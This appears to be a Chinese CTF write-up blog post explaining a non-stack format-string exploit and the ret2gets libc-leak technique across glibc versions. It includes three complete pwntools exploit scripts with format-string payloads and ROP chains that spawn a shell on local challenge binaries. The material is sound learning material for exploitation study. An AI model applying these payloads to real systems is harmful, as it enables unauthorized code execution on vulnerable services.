非栈上格式化字符串
onlyone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr(size): return u64(p.recv(size).ljust(8,b'\x00')) def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc-2.31.so')
elf=ELF('./fmt')
p = process('./fmt') rl(b'0x') stack=int(p.recv(12),16) li(hex(stack)) rl(b'0x') libc_base=int(p.recv(12),16)-libc.sym['puts'] li(hex(libc_base)) ogg=libc_base+0xe3b01 addr=(stack&0xffff)-15 payload = b'%p'*9 payload += b'%'+str(addr - 92).encode()+b'c%hn' payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
s(payload) add=(stack+17-0x18)&0xffff li(hex(add)) sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add+2-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg>>16&0xffff)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add+2+2-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg>>32)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
payload = b'%'+str(0x069e).encode()+b'c%39$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
inter()
|
先贴上脚本更好理解一些,本题是非栈上格式化字符串

这个addr是rsp-8 即db98 也就是刚刚的返回地址
由于是非栈上格式化字符串 所以我们要布置二级指针

我们就要利用这里的rbp+0x18这行结果
第11的偏移就是dbc8
第39的偏移就是dca8
1 2
| payload = b'%p'*9 payload += b'%'+str(addr - 92).encode()+b'c%hn'
|
这段就控制第3个参数为addr 也就是db98
这里是控制第11偏移的参数 ,因为printf 解析参数会根据 % 进行判断,在 hn 前面一共有 11个 %,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十一个参数。
是不是不知道92是怎么来的,我们还要先减去%p泄露出来的字节,这部分要怎么算呢,当然是接收了
1 2
| a=p.recvall() print(len(a)-1)
|

为啥减一 是因为接收时候多接收了个\n
所以我们就把第三个参数改成了addr,下面你改第四个参数就能改变返回地址了
这里为什么前面要这么多%p这样做呢 而不是像平时那样直接%11$然后接上后面的39呢
因为这样我们只能正确的修改第三个参数,第三个指向的第四个参数并不能改变成正确的返回地址
而是修改的是原本第三的参数所指向的第四个参数

如图 所以就不能这么写 非栈上就像我这么写
1
| payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
|
这段就控制第4个参数为你想要去到的返回地址,代码中为7b 也就是puts开始的地址,回去再执行。
到这里我们就可以一直进行无限次数的printf了
那么我们拿shell的具体思路是修改栈顶rsp(也就是ret+8)为one_gadget,最后把printf返回地址修改成ret,来触发one_gadget。
正常把返回地址修改为one_gadget也就是rbp+8是没办法执行的
那么我们就可以再次利用二次指针进行修改,把rsp的值修改为one_gadget

我们就可以用这里来修改
这一行就是第27参数
1 2 3 4 5
| payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
|
那么就把第三个参数改成rsp(add是rsp的地址)
1 2 3 4 5
| payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
|
把第四个参数改成one_gadget
明明这么修改就可以了 为啥还要补齐到0x100 是为了避免read把两次读入的payload一次读入
格式化字符串总有这种问题。
两字节两字节的赋值
1 2 3 4 5
| payload = b'%'+str(0x069e).encode()+b'c%39$hn'
payload =payload.ljust(0x100,b'\x00')
s(payload)
|
最后修改返回地址为ret即可,然后就执行了one_gadget

成功拿到shell
Ret2gets
有gets但没rdi导致libc不太可以泄露时使用
master_of_rop

一般来说刚执行完gets函数的寄存器情况,可以看到rdi的值是0x7ffff7e1ca80 (_IO_stdfile_0_lock)

简单介绍一下结构体,它是指向_IO_lock_t的指针
1 2 3 4 5
| typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;
|
那么我们可以将_IO_stdfile_0_lock开头的0x10字节分成三个部分
前四个字节:lock
再往后四个字节:cnt
最后八个字节:owner
我们来分析一下其中的重点:
owner很多时候会储存着TSL结构体地址,这个地址与libc偏移是固定的,但是当当前线程完全解锁时会被清空
cnt在释放时会减一,此处存在整数溢出的漏洞
所以我们这里可以泄露libc
我这里主要介绍下puts泄露的
2.30-2.36
我们先分析是如何获取libc的
之前提到,owner部分会变成TLS的值,那么我们就很希望能够通过puts函数输出这一部分的值对吧。
但是,gets函数的特性是,读入遇到\n才停止,然后把\n变成\0,而\0刚好会截断puts的输出,那么我们岂不是泄露不了TLS了?
回到之前讲过的,cnt在锁释放后会减一,存在负数溢出,如果我们把cnt的值在gets过程中覆盖为0,那么cnt减一后,就变成了0xffffffff。这就成功绕过了。
p &_IO_stdfile_0_lock

后4是lock,前四是cnt,后8是owner。
这样就可以接收到flag了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr(size): return u64(p.recv(size).ljust(8,b'\x00')) def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc.so.6') elf=ELF('./pwn') p = process('./pwn') ret=0x4011DF rl("Welcome to LitCTF2025!") payload = b'a'*(0x20)+p64(0) payload+= p64(elf.plt['gets']) payload+= p64(elf.plt['puts']) payload+= p64(0x4011AD) sl(payload) sleep(0.2) gdb.attach(p) p.sendline(b"A" * 4 + b"\x00"*3) p.recv(8) p.recv(8) tls = u64(p.recv(6) + b"\x00\x00") li(hex(tls)) libc_base = tls -0x3b8740 li(hex(libc_base)) system,bin_sh=get_sb() rdi=0x000000000002a3e5+libc_base rl("Welcome to LitCTF2025!") payload2=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(system) p.sendline(payload2)
inter()
|

得到shell
2.37及以上
这个版本就和前面的不一样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #define _IO_lock_lock(_name) do { void *__self = THREAD_SELF; if (SINGLE_THREAD_P && (_name).owner == NULL) { (_name).lock = LLL_LOCK_INITIALIZER_LOCKED; (_name).owner = __self; } else if ((_name).owner != __self) { lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self; } else ++(_name).cnt; } while (0)
#define _IO_lock_unlock(_name) do { if (SINGLE_THREAD_P && (_name).cnt == 0) { (_name).owner = NULL; (_name).lock = 0; } else if ((_name).cnt == 0) { (_name).owner = NULL; lll_unlock ((_name).lock, LLL_PRIVATE); } else --(_name).cnt; } while (0)
|
- 新增了
SINGLE_THREAD_P这个宏,但是没关系,我们直接用(_name).owner == NULL这个判断去绕过这个情况
cnt在等于0时不再减一,就不会负数溢出了
解决方法就是gets两次,让cnt不为0,但再用gets输入时cnt被覆盖为00再-1就有0xff了
第一次gets:
lock宏不用管
输入

第二次gets:
由于owner!=null,且owner!=self,因此会执行这两句
1 2
| lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self;
|
由于我们之前设置了lock=0(未锁定状态),这里会将其锁定(设置为 1)
并且让owner拥有TLS地址
然后输入
b'BBBB'
因为之前把lock变成了1,高位的\x00会截断,这次读入是为了覆盖lock,然后换行符会出现在cnt字段,将cnt的最低一字节变成\x00
结束后的unlock宏又会让cnt减一,最低一字节就变成了\xff,绕过了puts的截断


然后puts就泄露libc了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b)
def r(a): p.recv(a)
def inter(): p.interactive() def get_addr(size): return u64(p.recv(size).ljust(8,b'\x00')) def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc.so.6') ret=0x4011DF elf=ELF('./pwn')
p = process('./pwn')
p.recvuntil(b"Welcome to LitCTF2025!") payload = b'a'*(0x28) payload+= p64(elf.plt['gets']) payload+= p64(elf.plt['gets']) payload+= p64(elf.plt['puts']) payload+= p64(0x4011AD)
p.sendline(payload)
p.sendline(p32(0)+b'A'*4+b'B'*8) payload3=b'BBBB' gdb.attach(p) p.sendline(payload3)
p.recv(8) tls=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success("tls: "+hex(tls))
libc_base = tls -0x3a5740-0x15000 log.success("libc_base: "+hex(libc_base)) system,bin_sh=get_sb() rdi=libc_base+0x10f75b p.recvuntil(b"Welcome to LitCTF2025!") payload2=b'a'*0x28+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system) p.sendline(payload2)
''' p.interactive()
|

得到shell
这种只有gets的题目其实还可以利用magic gadget 但本题不好利用,就利用该方法了
这个retgets没咋碰到过这里就在此记录下,个人觉得写的也比较详细了,现在的wp基本都一句话配个exp就完事了。
前两题的话都比较简单,第二个侧信道爆破也都是板子题,套个侧信道就出了,不懂的话也可以来问我。
具体题目可以跟我要附件(联系方式我blog的那个文章有写),或者nss上也有上原题但是要金币。
最近不知道为啥,挺emo的。
参考:https://blog.csdn.net/2502_91269216/article/details/148261096
https://mp.weixin.qq.com/s/B0GQkwj5t1vhd4EiKQ9atw
https://xz.aliyun.com/news/17965